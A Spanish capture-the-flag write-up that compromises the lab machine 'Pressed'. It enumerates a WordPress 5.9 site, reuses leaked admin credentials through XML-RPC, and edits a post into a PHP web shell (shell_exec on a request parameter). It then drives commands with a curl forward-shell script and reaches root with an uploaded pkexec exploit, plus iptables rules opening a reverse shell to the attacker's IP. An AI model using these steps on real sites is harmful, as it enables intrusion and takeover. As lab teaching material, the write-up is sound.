Lo primero que haces es comprobar la conexión con la máquina:
ping -c 1 10.10.11.142
PING 10.10.11.142 (10.10.11.142) 56(84) bytes of data.
64 bytes from 10.10.11.142: icmp_seq=1 ttl=63 time=196 ms
--- 10.10.11.142 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 196.447/196.447/196.447/0.000 ms
Ya vemos que por el TTL es una máquina Linux. Procedemos ahora con los escaneos nmap:
nmap -p- --open --min-rate 5000 -vvv -n -sS -Pn 10.10.11.142 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 08:39 CEST
Initiating SYN Stealth Scan at 08:39
Scanning 10.10.11.142 [65535 ports]
Discovered open port 80/tcp on 10.10.11.142
Completed SYN Stealth Scan at 08:40, 26.34s elapsed (65535 total ports)
Nmap scan report for 10.10.11.142
Host is up, received user-set (0.050s latency).
Scanned at 2022-10-03 08:39:52 CEST for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Y el segundo:
nmap -sCV -p80 10.10.11.142 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 08:40 CEST
Nmap scan report for 10.10.11.142
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.9
|_http-title: UHC Jan Finals – New Month, New Boxes
|_http-server-header: Apache/2.4.41 (Ubuntu)
Al ver que tiene el puerto 80 abierto:
whatweb http://10.10.11.142
http://10.10.11.142 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.142], JQuery[3.6.0], MetaGenerator[WordPress 5.9], Script[text/javascript], Title[UHC Jan Finals – New Month, New Boxes], UncommonHeaders[link], WordPress[5.9]
También podemos lanzar un escaneo con nmap para que detecte los ficheros y directorios más comunes:
nmap --script http-enum -p80,443 10.10.11.142 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 08:44 CEST
Nmap scan report for 10.10.11.142
Host is up (0.14s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: WordPress version: 2
| /: WordPress version: 5.9
| /wp-includes/images/rss.png: WordPress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: WordPress version 2.5 found.
| /wp-includes/images/blank.gif: WordPress version 2.6 found.
| /wp-includes/js/comment-reply.js: WordPress version 2.7 found.
| /wp-login.php: WordPress login page.
| /wp-admin/upgrade.php: WordPress login page.
|_ /readme.html: Interesting, a readme.
443/tcp filtered https
Con esto ya sabemos que se trata de un WP versión 5.9. Vamos a ver que hay dentro de ese WordPress:
Una vez vemos eso en el post que tiene subido la web añadimos el dominio al fichero /etc/hosts. Tambien vemos que la ruta pressed.htb/wp-admin nos permite acceder al login del WP y si probamos con varios usuarios vemos que con el user «admin» nos indica que la contraseña es incorrecta. Dando a entender que el usuario si existe.
Lanzamos un escaneo con wpscan:
wpscan --url "http://pressed.htb"
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.21
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://pressed.htb/ [10.10.11.142]
[+] Started: Mon Oct 3 08:57:06 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://pressed.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://pressed.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://pressed.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://pressed.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
| Found By: Rss Generator (Passive Detection)
| - http://pressed.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.9</generator>
| - http://pressed.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.9</generator>
[+] WordPress theme in use: retrogeek
| Location: http://pressed.htb/wp-content/themes/retrogeek/
| Last Updated: 2022-04-23T00:00:00.000Z
| Readme: http://pressed.htb/wp-content/themes/retrogeek/README.txt
| [!] The version is out of date, the latest version is 0.6
| Style URL: http://pressed.htb/wp-content/themes/retrogeek/style.css?ver=42
| Style Name: RetroGeek
| Style URI: https://tuxlog.de/retrogeek/
| Description: A lightweight, minimal, fast and geeky retro theme remembering the good old terminal times...
| Author: tuxlog
| Author URI: https://tuxlog.de/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 0.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://pressed.htb/wp-content/themes/retrogeek/style.css?ver=42, Match: 'Version: 0.5'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:02 <===========================> (137 / 137) 100.00% Time: 00:00:02
[i] Config Backup(s) Identified:
[!] http://pressed.htb/wp-config.php.bak
| Found By: Direct Access (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Oct 3 08:57:14 2022
[+] Requests Done: 189
[+] Cached Requests: 5
[+] Data Sent: 45.618 KB
[+] Data Received: 19.021 MB
[+] Memory used: 240.414 MB
[+] Elapsed time: 00:00:08
Como vemos, el wp-content/uploads/ es visible y podemos obtener con wget -r
http://pressed.htb/wp-content/uploads
Además nos ha detectado el siguiente fichero: http://pressed.htb/wp-config.php.bak. Lo descargamos y podemos sacar un usuario, que cuadra con el de WP y una contraseña:
admin:uhc-jan-finals-2021
Al probarlas da error pero, como estamos en 2022, probamos si esa corrigiendo el año si nos permite acceder. Aunque, lamentablemente, tiene un plugin de doble autenticación.
Revisamos si se nos ha pasado algo en el escaneo y vemos que tenemos acceso por http://pressed.htb/xmlrpc.php. XMLRPC permite administrar el wordpress de forma remota a través de php
Por ejemplo, si ejecutamos lo siguiente nos devolverá los métodos que tiene permitido el WP para hacerlo
curl -s -X POST "http://pressed.htb/xmlrpc.php" -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
Por lo que pasamos a usar python para hacerlo.
>>> from wordpress_xmlrpc import Client
>>> from wordpress_xmlrpc.methods import posts
>>> client = Client("http://pressed.htb/xmlrpc.php", 'admin', 'uhc-jan-finals-2022')
>>> post = client.call(posts.GetPosts())
>>> post
[<WordPressPost: b'UHC January Finals Under Way'>]
>>> post[0].content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway! After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian. Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
>>>
En el post del blog vemos que nos ofrecía información en vivo sobre las peticiones que hacíamos sobre la web y en el texto anterior vemos como lo hace, pero es un código en base64 por lo que lo copiamos y haremos lo siguiente:
echo "JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U" | base64 -d;echo
%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3Ebase64: entrada inválida
❯ php --interactive
Interactive mode enabled
php > echo urldecode("%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3E");
<?php echo(file_get_contents('/var/www/html/output.log')); ?>
php >
Entonces lo que vamos a hacer es editar el post para poner ejecutar comandos a través de una REQUEST que le mandemos. Primero creamos el script en php:
<?php
echo "<pre>". shell_exec($_REQUEST['cmd'])."</pre>";
?>
En segundo lugar lo pasamos a base64 y modificamos el post:
>>> malicious_post= post[0]
>>> malicious_post.content = '<!-- wp:paragraph -->\n<p>The UHC January Finals are underway! After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian. Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"PD9waHAKCWVjaG8gIjxwcmU+Ii5zaGVsbC5leGVjKCRfUkVRVUVTVFsnY21kJ10pLiI8L3ByZT4iOwo/Pgo=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
>>> client.call(posts.EditPost(malicious_post.id, malicious_post))
True
>>>
Si ahora vamos a la página del post podremos hacer lo siguiente:
Lamentablemente no podemos entablar una reverse shell ya que la máquina tiene reglas IpTables para bloquarlo por lo que vamos a inventar la nuestra con el siguiente script:
#!/bin/bash
function ctrl_c(){
echo -e "\n\n [+]Saliendo .... \n"
exit 1
}
#Ctrl + c
trap ctrl_c INT
main_url="http://pressed.htb/index.php/2022/01/28/hello-world/?cmd="
while [ "$command" != "exit" ]; do
echo -n "$~ " && read -r command
command="$(echo $command | tr ' ' '+')"
curl -s -X GET "$main_url$command" | grep "<pre>" -A 100 | grep "</pre>" -B 100 | sed 's/<pre
>//' | sed 's/<\/pre>//' | sed 's/shell//'
done
Esta shell tiene sus limitaciones pero podemos obtener la flag del user.
Para escalar privilegios lo que hacemos es emplear la vulnearbilidad de pkexec:
which pkexec | xargs ls -l
-rwsr-xr-x 1 root root 23440 Jul 14 2021 /usr/bin/pkexec
Utilizamos este repositorio para ello: https://github.com/kimusan/pkwner/blob/main/pkwner.sh
Descargamos el contenido y lo subimos a la máquina víctima a través de xmlrpc:
>>> with open("pkwner.sh", "r") as f:
... filename = f.read()
...
>>> data_to_upload = {'name': 'pkwner.png', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_to_upload))
A la hora de subirlo si, introducimos los siguientes comandos:
/code
iptables -A INPUT -p tcp -d 10.10.14.5 -j ACCEPT
iptables -A OUTPUT -p tcp -d 10.10.14.5 -j ACCEP
Así podremos establecer una reverse shell para trabajar más comodos y para finalizar, utizaremos el script que hemos subido a la máquina víctima. Por último, ejecutamos dicho script con el comando «/bin/bash», obteniendo así una bash como root